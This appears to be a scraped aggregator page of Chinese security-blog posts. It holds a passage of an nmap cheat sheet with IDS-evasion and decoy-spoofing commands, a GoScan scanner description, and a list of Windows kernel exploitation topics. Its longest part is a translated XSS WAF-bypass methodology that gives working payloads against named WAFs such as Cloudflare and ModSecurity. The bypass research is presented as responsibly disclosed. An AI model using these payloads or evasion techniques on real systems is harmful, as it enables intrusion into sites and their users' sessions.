–scriptnmap 192.168.1.1 –script=http*Scan with a wildcard. Example http
–scriptnmap 192.168.1.1 –script=http,bannerScan with two scripts. Example http and banner
–scriptnmap 192.168.1.1 –script “not intrusive”Scan default, but remove intrusive scripts
–script-argsnmap –script snmp-sysdescr –script-args snmpcommunity=admin 192.168.1.1NSE script with arguments

Useful NSE Script Examples

CommandDescription
nmap -Pn –script=http-sitemap-generator scanme.nmap.orghttp site map generator
nmap -n -Pn -p 80 –open -sV -vvv –script banner,http-title -iR 1000Fast search for random web servers
nmap -Pn –script=dns-brute domain.comBrute forces DNS hostnames guessing subdomains
nmap -n -Pn -vv -O -sV –script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1Safe SMB scripts to run
nmap –script whois* domain.comWhois query
nmap -p80 –script http-unsafe-output-escaping scanme.nmap.orgDetect cross site scripting vulnerabilities
nmap -p80 –script http-sql-injection scanme.nmap.orgCheck for SQL injections

Firewall / IDS Evasion and Spoofing

SwitchExampleDescription
-fnmap 192.168.1.1 -fRequested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters
–mtunmap 192.168.1.1 –mtu 32Set your own offset size
-Dnmap -D 192.168.1.101,192.168.1.102,
192.168.1.103,192.168.1.23 192.168.1.1
Send scans from spoofed IPs
-Dnmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ipAbove example explained
-Snmap -S www.microsoft.com www.facebook.comScan Facebook from Microsoft (-e eth0 -Pn may be required)
-gnmap -g 53 192.168.1.1Use given source port number
–proxiesnmap –proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1Relay connections through HTTP/SOCKS4 proxies
–data-lengthnmap –data-length 200 192.168.1.1Appends random data to sent packets

Example IDS Evasion command

nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1

Output

SwitchExampleDescription
-oNnmap 192.168.1.1 -oN normal.fileNormal output to the file normal.file
-oXnmap 192.168.1.1 -oX xml.fileXML output to the file xml.file
-oGnmap 192.168.1.1 -oG grep.fileGrepable output to the file grep.file
-oAnmap 192.168.1.1 -oA resultsOutput in the three major formats at once
-oG –nmap 192.168.1.1 -oG –Grepable output to screen. -oN -, -oX – also usable
–append-outputnmap 192.168.1.1 -oN file.file –append-outputAppend a scan to a previous scan file
-vnmap 192.168.1.1 -vIncrease the verbosity level (use -vv or more for greater effect)
-dnmap 192.168.1.1 -dIncrease debugging level (use -dd or more for greater effect)
–reasonnmap 192.168.1.1 –reasonDisplay the reason a port is in a particular state, same output as -vv
–opennmap 192.168.1.1 –openOnly show open (or possibly open) ports
–packet-tracenmap 192.168.1.1 -T4 –packet-traceShow all packets sent and received
–iflistnmap –iflistShows the host interfaces and routes
–resumenmap –resume results.fileResume a scan

Helpful Nmap Output examples

CommandDescription
nmap -p80 -sV -oG – –open 192.168.1.1/24 | grep openScan for web servers and grep to show which IPs are running web servers
nmap -iR 10 -n -oX out.xml | grep “Nmap” | cut -d ” ” -f5 > live-hosts.txtGenerate a list of the IPs of live hosts
nmap -iR 10 -n -oX out2.xml | grep “Nmap” | cut -d ” ” -f5 >> live-hosts.txtAppend IP to the list of live hosts
ndiff scanl.xml scan2.xmlCompare output from nmap using the ndif
xsltproc nmap.xml -o nmap.htmlConvert nmap xml files to html files
grep ” open ” results.nmap | sed -r ‘s/ +/ /g’ | sort | uniq -c | sort -rn | lessReverse sorted list of how often ports turn up

Miscellaneous Options

SwitchExampleDescription
-6nmap -6 2607:f0d0:1002:51::4Enable IPv6 scanning
-hnmap -hnmap help screen

Other Useful Nmap Commands

CommandDescription
nmap -iR 10 -PS22-25,80,113,1050,35000 -v -snDiscovery only on ports x, no port scan
nmap 192.168.1.1-1/24 -PR -sn -vvArp discovery only on local network, no port scan
nmap -iR 10 -sn -tracerouteTraceroute to random targets, no port scan
nmap 192.168.1.1-50 -sL –dns-server 192.168.1.1Query the Internal DNS for hosts, list targets only

Goscan 功能强大的交互式漏洞扫描器

$
0
0

Goscan 功能强大的交互式漏洞扫描器

GoScan是一款交互式网络扫描客户端,可用来执行主机扫描、端口扫描和服务枚举等任务。它不仅可在时间有限的情况下完成高难度任务,而且还支持进行专业的安全管理。

GoScan还特别适用于不稳定的环境,例如网络连接不稳定等情况,因为在触发扫描执行之后它会在一个SQLite数据库中维护其扫描状态。扫描任务(与主线程分离)全部在后台执行,所以即便是连接中断,GoScan也可以异步上传扫描结果。这也就意味着,我们可以在任何一个扫描阶段将数据导入至GoScan中,而且在出现问题时无需再从头开始整个流程。

除此之外,服务枚举阶段还集成了很多强大的工具,例如EyeWitness、Hydra和nikto等等,其中的每一款工具都针对特定的服务进行了定制修改。

demo

工具安装

推荐使用命令方式安装

大家可以直接从该项目的Release页面获取工具源码:【Release页面】。

# Linux (64bit)
$ wget https://github.com/marco-lancini/goscan/releases/download/v2.3/goscan_2.3_linux_amd64.zip
$ unzip goscan_2.3_linux_amd64.zip

# Linux (32bit)
$ wget https://github.com/marco-lancini/goscan/releases/download/v2.3/goscan_2.3_linux_386.zip
$ unzip goscan_2.3_linux_386.zip

# After that, place the executable in your PATH
$ chmod +x goscan
$ sudo mv ./goscan /usr/local/bin/goscan

源码构建

$ git clone https://github.com/marco-lancini/goscan.git
$ cd goscan/goscan/
$ make setup
$ make build

大家可以使用make命令和cross命令来添加多平台支持:

$make cross

Docker

$ git clone https://github.com/marco-lancini/goscan.git
$ cd goscan/
$ docker-compose up --build

工具使用

GoScan支持网络枚举中的主要操作任务:

process
步骤命令
1. Load targets通过CLI添加单个目标(必须是有效的CIDR):load target SINGLE 从text文件或文件夹上传多个目标:load target MULTI
2. Host Discovery执行Ping Sweep:sweep 或加载之前的扫描结果: 通过CLI添加一台活动主机:load alive SINGLE 从text文件或文件夹上传多个活动主机:load alive MULTI
3. Port Scanning执行端口扫描: portscan 或从XML文件或文件夹上传nmap扫描结果:load portscan
4. Service EnumerationDry Run:enumerate DRY 枚举检测到的设备:enumerate
5. Special ScansEyeWitness 获取网站、RDP服务和VNC服务器信息截图:special eyewitness EyeWitness.py需要在system路径下 从枚举数据中提取(Windows)域名信息 special domain DNS 枚举DNS (nmap, dnsrecon, dnsenum):special dns DISCOVERY 爆破DNS:special dns BRUTEFORCE 反向爆破DNS:special dns BRUTEFORCE_REVERSE
Utils显示扫描结果:show 通过加载配置文件完成自动配置: set config_file 修改输出目录(默认为~/goscan):set output_folder 修改默认nmap_switches :set nmap_switches修改默认字典:set_wordlists

外部工具整合

服务枚举阶段当前支持下列整合工具:

功能整合工具
ARPnmap
DNSnmap dnsrecon dnsenum host
FINGERnmap finger-user-enum
FTPnmap ftp-user-enum hydra [AGGRESSIVE]
HTTPnmap nikto dirb EyeWitness sqlmap [AGGRESSIVE] fimap [AGGRESSIVE]
RDPnmap EyeWitness
SMBnmap enum4linux nbtscan samrdump
SMTPnmap smtp-user-enum
SNMPnmap snmpcheck onesixtyone snmpwalk
SSHhydra [AGGRESSIVE]
SQLnmap
VNCEyeWitness

项目地址

GoScan

from

Windows内核漏洞利用方法资源收集

$
0
0

Windows内核漏洞利用方法资源收集

实时内核调试
脚本和插件
哈希转储
编码器
序列化
国家安全局安全工具
第三方库
防火墙
网络安全研究网站
浏览器自动化测试
源代码泄露
加密
正则表达式
电子书
渗透测试
反编译器
加密解密工具

pe file format

meltdown/spectre poc

轻量级的c++ gui库

direct ui

chrome

cef

WebBrowser

d3d

lua

c++ & js

gdi/gdi+

computer vision & machine learning

compress

Dongle

spy++

Windows资源管理器的外壳扩展

windows system programming

wsl/unix

device tree

irp monitor

nt crucial modules

windows内核驱动程序

windows kernel driver with c++ runtime

blackbone

hidinput

dkom

ssdt hook

eat/iat/object/irp/iat hook

inline hook

hook engine

anti hook

注入技术(ring0)

inject technique (ring3)

WoW64 <-> x64

反自动运行

反dll注入

从内存加载Dll

Unpack dll load in runtime

dll劫持

com 劫持

反 dll劫持

process hollowing

pe loader

memory pe dumper

dll map detection

dll to shellcode

dll to exe

隐藏进程

隐藏和删除dll

从内存加载驱动程序

bypass memory scanner

KeUserModeCallBack

callback

usb过滤

sfilter

minifilter

anti Ransomware

virtual disk

虚拟文件系统

lpc

alpc

lsp/spi

afd

tdi

wfp

ndis

wsk

rootkits

mbr

bootkits

uefi/smm

bootloader

smc

反调试

crypters

恶意软件

EternalBlue && Doublepulsar && Mine

shellcode分析

恶意软件分析

arktools

绕过patchguard

bypass dse

HackSysExtremeVulnerableDriver

windows exploits

windows内核利用

LPE

office exploit

flash exploit

沙箱

沙箱逃脱

anti exploit

cve

hips

windows hypervisor

kvm

vt

firmware

fuzzer

emet

hotpatch

内存破解

game

游戏破解

反作弊

软件逆向

pe保护器

unpacker

模拟代码执行

pin

symbolic execution

obfuscation

deobfuscation

taint analyse

bin diff

debugger

x64dbg plugin

实时内核调试

windbg plugin

ida脚本和插件

ida sig maker

idapython

pykd

rpc

哈希转储

auxiliary lib

ring3 nt api

winpcap

metasploit

shellcode编码器

shadow

network lib

http

https代理

sock 代理

mitm

ssl

json

序列化

awesome

windows Driver Kit ddi (device driver interface) documentation

windbg preview & jsprovider

anti-anti-vm

虚拟机

spy++

pe 工具

tools

post-exploitation

nsa security tools国家安全局安全工具

apt

第三方库

rpc

adblock

miscellaneous

幻灯片

博客

sec tools

防火墙

网络安全研究网站

开发文档

浏览器自动化测试

docker

源代码泄露

sspi

openssl

pdb

gpu

加密api

ipc

iot sec

ascii banner

book code

正则表达式

paper

电子书

渗透测试

wpad/pac

js obfuscator/deobfuscator

反编译器

加密/解密工具

english

library

from

绕过XSS检测机制 Bypass XSS

$
0
0

绕过XSS检测机制 Bypass XSS 摘要 本文提出了一种定义明确的方法来绕过跨站点脚本( XSS )安全机制,方法是对用于检测恶意字符串的规则进行假设,发送探测并基于这些假设构建有效负载。所提出的方法包括三个阶段:确定有效载荷结构、探测和混淆。 为给定上下文确定各种有效载荷结构提供了最佳测试方法的精确概念。下一个阶段,探测,包括根据目标的安全机制测试各种字符串。分析目标的响应,以便在分析的基础上做出假设。 最后,如果需要,对有效载荷进行模糊处理和其他调整。

致读者
作者假定读者至少具备跨站点脚本、超文本标记语言 (html) 和 javascript 的基本知识。
{string} 在整个文档中用于表示有效负载方案的组件。
{?string} 表示可选组件。
“主要字符” 一词是指必须包含在有效载荷中的字符。 建议在有效载荷中使用不安全字符之前,对不安全字符进行编码,例如 +和& 。 探测时,应该使用无害的字符串而不是{javascript}

目录
介绍
HTML上下文
外部标签
可执行上下文
不可执行上下文
在属性值内/作为属性值
在事件处理程序中
内部“src”属性
“srcdoc”属性内部
Generic attributes
Interactable
Intractable
JavaScript context
As string variable
Within code Blocks
Bypassing WAFs in the wild

介绍
跨站点脚本是最常见的网络应用程序漏洞之一。可以通过过滤用户输入、根据上下文转义输出、正确使用文档对象模型( DOM )接收器和源、实施正确的跨源资源共享( CORS )策略和其他安全实践来完全防止这种情况。尽管这些预防技术是众所周知的,但网络应用防火墙( WAF )或自定义过滤器被广泛用于增加另一层安全性,以保护网络应用免受人为错误或新发现的攻击向量所带来的漏洞的利用。尽管机器学习仍在由WAF厂商进行试验,正则表达式仍然是检测恶意字符串最广泛使用的手段。本文提出了一种构建XSS有效负载的方法,该有效负载与这种安全机制使用的正则表达式不匹配。

HTML内容

当用户输入反映在网页的HTML代码中时,就称其在HTML内容。HTML内容可以根据反射的位置进一步划分为子上下文。

内标签 :

<input type="text" value="$input">

外部标签

<span>You entered $input</span>

外部标签 这个上下文的主要字符是<负责启动一个超文本标记语言。根据超文本标记语言规范,标签名必须以字母开头。有了这些信息,可以使用以下探针来确定用于匹配标签名称的正则表达式:

<svg - 如果通过 这个地方没有检测标签
<dev - 如果失败 <[a-z]+
x<dev - 如果通过^<[a-z]+
<dEv - 如果失败 <[a-zA-Z]+
<d3V - 如果失败 <[a-zA-Z0-9]+
<d|3v - 如果失败 <.+

如果安全机制不允许这些探测器, 则不能绕过它。由于误报率很高, 应阻止这种限制性规则。

如果上述任何探测器解除阻止, 可以使用一些有效载荷方案来制造有效载荷。

payload 方案 #1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

一旦找到合适的{tag}值,下一步就是猜测用于匹配tag和事件处理程序之间填充符的正则表达式。该操作可以通过以下探针来执行:

<tag xxx - 如果失败, {space}
<tag%09xxx - 如果失败, [\s]
<tag%09%09xxx - 如果失败, \s+
<tag/xxx - 如果失败, [\s/]+
<tag%0axxx- 如果失败, [\s\n]+
<tag%0dxxx>- 如果失败, [\s\n\r+]+
<tag/~/xxx - 如果失败, .*+

这个组件,即事件处理程序,是有效载荷结构中最关键的部分之一。它通常与类型为on\w+的常规正则表达式或黑名单 如 on(load|click|error|show) 匹配。第一个正则表达式是非常严格的,不能被绕过,而黑名单类型模式通常被绕过使用不太知名的事件处理程序,可能不在黑名单中。使用的方法类型可以通过两个简单的检查来识别

<tag{filler}onxxx - 如果失败, on\w+. 如果通过, on(load|click|error|show)
<tag{filler}onclick - 如果通过, 此处没有检查正则表达式的事件处理程序

如果正则表达式显示为on\w+,则不能绕过它,因为所有事件处理程序都以on开头。在这种情况下,您应该继续下一个有效载荷方案。如果正则表达式遵循黑名单方法,您需要找到没有被列入黑名单的事件处理程序。如果所有事件处理程序都被列入黑名单,您应该进入下一个有效负载方案。

在我绕过防火墙WAF的经验中, 我发现黑名单中没有的一些事件处理程序是:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel 

与前面讨论的内容相似, 只有在安全机制阻止 < tag{filler}{event_handler}=d3v 的情况下, 才应对其进行测试。

下一个组件是要执行的JavaScript代码。它是有效负载的活动部分,但是不需要假设正则表达式用于匹配它,因为JavaScript代码是任意的,因此不能用预定义的模式匹配。

此时,有效负载的所有组件都放在一起,并且只需要关闭有效负载,这可以通过以下方式来完成:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

应该注意的是,超文本标记语言规范允许<标记{空白} {这里的任何内容} >这表明,只要在超文本标记语言文档后面的某个地方有一个大于符号>是有效的,诸如< a href = ‘ http : / / example . com ‘ ny text这样的超文本标记语言就可以放在这里。超文本标记语言的这一特性使得攻击者能够以上述方式注入超文本标记语言。

payload 方案 #2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

测试填充符以及结束字符串类似于之前的有效载荷方案。必须指出的是。可以用在网址的末尾(如果网址后面没有使用填充符),而不是结束标签。之后的每个字符?将被视为网址的一部分,直到遇到>为止。使用< script >标记,大多数安全规则都可能检测到它。

使用< object >标签的有效负载可以使用类似的有效负载方案来构造:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
payload 方案 #3

此有效负载方案有两个变体: 普通和可混淆。

普通的变体通常与如下模式相匹配,例如: href[\s]{0,}=[\s]{0,}javascript: 其结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

可混淆的有效载荷变量具有以下结构:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

这两种变体之间的显著区别是{special}组件和{ quote }组件,{special}指的是字符串javascript的混淆版本,可以使用换行符和水平制表符进行混淆,如下所示:

j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

在某些情况下,数字字符编码也可以用来逃避检测。十进制和十六进制都可以使用。

Javascript:
javascript:

显然, 如果需要, 这两种混淆技术可以一起使用。

Java%0a%0d%09script:

可执行和不可执行的上内容

根据注入的有效载荷是否可以在没有任何特殊帮助的情况下执行,外部标签内容可以进一步分为可执行和不可执行 内容 。当输入反映在一个HTML注释中时,即< – $ input – – >或在以下标记之间,就会出现不可执行的内容:

<style>
<title>
<noembed>
<template>
<noscript>
<textarea>

为了执行有效载荷,必须关闭这些标签。因此,测试可执行上下文和不可执行上下文之间的唯一区别是测试{closing tag}组件,这可以如下进行测试:

</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>

一旦发现一个有效的结束标记方案,{结束标记} {来自可执行有效载荷部分的任何有效载荷}都可以用于成功的注入

内部标签
在属性值内/作为属性值

此上下文的主要字符是用于括住属性值的引号。例如,如果输入被反映为< input value=”$input” type=”text ” >那么主要字符将是 ” 然而,在某些情况下,主字符不需要脱离上下文。

在事件处理程序中 如果输入反映在与事件处理程序关联的值中,例如
<tag event_handler=”function($input)”; 触发事件处理程序将执行值中存在的javascript

“src” 内部属性 如果输入被反映为脚本或iframe标记的src属性值,例如
<script src=”$input”> ,恶意脚本(脚本标记)或网页( iframe标记)可以如下直接加载
<script src=”http://example.com/malicious.js”>

绕过匹配正则表达式的网址

//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+

在“srcdoc”属性内 如果输入被转义为iframe标记的srcdoc属性值,例如
<iframe srcdoc=”$input”> ,则可以按如下方式提供转义(带HTML实体)HTML文档作为有效负载

<iframe srcdoc="<svg/onload=alert()>">

通用属性
上述所有情况都不需要任何绕过技术, 但最后一种技术除外, html 上下文部分中使用的技术可以绕过最后一种技术。讨论的情况并不常见, 最常见的属性上下文反射类型如下所示:

<input type="text" value=""/onfocus="alert()$input">

基于相关标签的交互性,它可以进一步分为两类。

可交互的
当输入在标签内被反射时,该标签可以与例如点击、悬停、聚焦等交互。,只有引用才能脱离上下文。这种情况下的有效载荷方案是:

{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

可以使用下面的探针检查语句是否被WAF阻止(极不可能) :

x"y

事件处理程序在这里起着重要的作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,这取决于用户寻找这样的情况,但是也有一些事件处理程序可以绑定到下面列出的任何标签:

onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup

其余的组件可以使用前面讨论的方法进行测试。

难对付的

当输入在无法交互的标签中得到反映时,需要突破标签本身来执行有效载荷。这种情况下的有效载荷方案是:

{quote}>{any payload scheme from html context section}

JavaScript 内容

字符串内部变量

最常见的 javascript 上下文反射类型是字符串变量中的反射。这很常见, 因为开发人员通常将用户输入分配给变量, 而不是直接使用它们。

var name = '$input';
Payload 方案 #1
{quote}{delimiter}{javascript}{delimiter}{quote}

分隔符通常是 JavaScipt 运算符, 如 ^ 如果用户输入位于单个带引号字符串变量中, 则可能的有效负载将是:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
Payload 方案 #2
{quote}{delimiter}{javascript}//

除了使用单行注释来注释掉该行中的其余代码以保持语法有效之外,它与前面的有效载荷方案类似。使用此有效负载方案可以制作的一些有效负载有:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

代码块内

输入经常被反映到代码块中。例如,如果用户已经支付了订阅费并且超过18岁,网页就会做一些事情。具有反射输入的JavaScript代码如下所示:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('$input');
        }
    else{
        console.log('Requirements not met.');
    }
}

假设我们没有支付订阅费用。为了解决这个问题, 我们需要走出 if (subscription) 模块, 这可以通过关闭条件块、函数调用等来完成。如果用户输入 ‘);}}alert();if(true){(‘ , 它将得到回应, 如下所示

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');}}alert();if(true){('');
        }
    else{
        console.log('Requirements not met.');
    }
}

这里有一个缩进视图来理解有效负载是如何工作的

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');
        }
    }
    alert();
    if (true){
        ('');
    }
    else{
        console.log('Requirements not met.');
    }
}

);关闭当前函数调用。
第一个}关闭if (age > 18)模块。
第二}关闭if subscription块。
alert ( );虚拟函数被用作测试。
if(true){启动if条件块以保持代码在语法上有效,因为代码后面还有一个else块。
最后(‘结合了我们最初注入的函数调用的剩余部分。

这是你在测试中会遇到的最简单的代码块之一。为了简化代码块的拆分过程,建议使用语法高亮显示,如Sublime Text。

有效载荷的结构取决于代码本身,这种不确定性使得检测非常困难。但是,如果需要,代码可以被混淆。例如,上面代码块的有效载荷可以写成:

');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

如果输入被反映到JavaScript代码中,无论是在代码块中还是在变量字符串中,{html context payload} 可用于脱离上下文并执行有效负载。这个有效载荷方案应该比其他任何方案都先尝试,因为它很简单,但也有可能被检测到

绕过罕见的WAFs

在研究过程中,共有八个WAf被绕过。供应商通过负责任的披露了解到旁路,因此一些(或所有)旁路可能因此被修复。以下是旁路WAf、有效载荷和旁路技术的列表:

名称: Cloudflare
Payload: <a"/onclick=(confirm)()>click
绕过防火墙技术: Non-white space filler

名称: Wordfence
Payload: <a/href=javascript&colon;alert()>click
绕过防火墙技术: 数字字符编码

名称: Barracuda
Payload: <a/href=Java%0a%0d%09script&colon;alert()>click
绕过防火墙技术: 数字字符编码

名称: Akamai
Payload: <d3v/onauxclick=[2].some(confirm)>click
绕过防火墙技术: 黑名单和函数调用模块中缺少事件处理程序

名称: Comodo
Payload: <d3v/onauxclick=(((confirm)))``>click
绕过防火墙技术: 黑名单和函数调用模糊中缺少事件处理程序

名称: F5
Payload: <d3v/onmouseleave=[2].some(confirm)>click
绕过防火墙技术: 黑名单和函数调用模糊中缺少事件处理程序

名称: ModSecurity
Payload: <details/open/ontoggle=alert()>
绕过防火墙技术: 黑名单中缺少标记 (事件处理程序也一样)

名称: dotdefender
Payload: <details/open/ontoggle=(confirm)()//
绕过防火墙技术: 黑名单中缺少标签、函数调用混淆和替代结束标签

引用: .

丝绸特效-html特效-丝绸绘画艺术 丝绸壁纸

$
0
0

丝绸特效-html特效-丝绸绘画艺术 丝绸壁纸 绘制好的图片可以自己保存下来作为壁纸使用

丝绸特效 地址:https://www.ddosi.com/art.html

丝绸特效
效果图

使用方法:按住鼠标左键上下左右拖动/旋转即可进行丝绸绘图,下面的这几个小框鼠标悬停自动显示功能,点击即可使用该功能

丝绸特效

第一个框全屏功能
丝绸特效
第二个框保存图片功能
丝绸特效

第三个框颜色选择功能
丝绸特效
第四个框撤销/还原功能

丝绸特效 地址:https://www.ddosi.com/art.html

丝绸特效

全球前50名搜索引擎提交地址 SEO 网站提交

$
0
0
Viewing all 323 articles
Browse latest View live
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>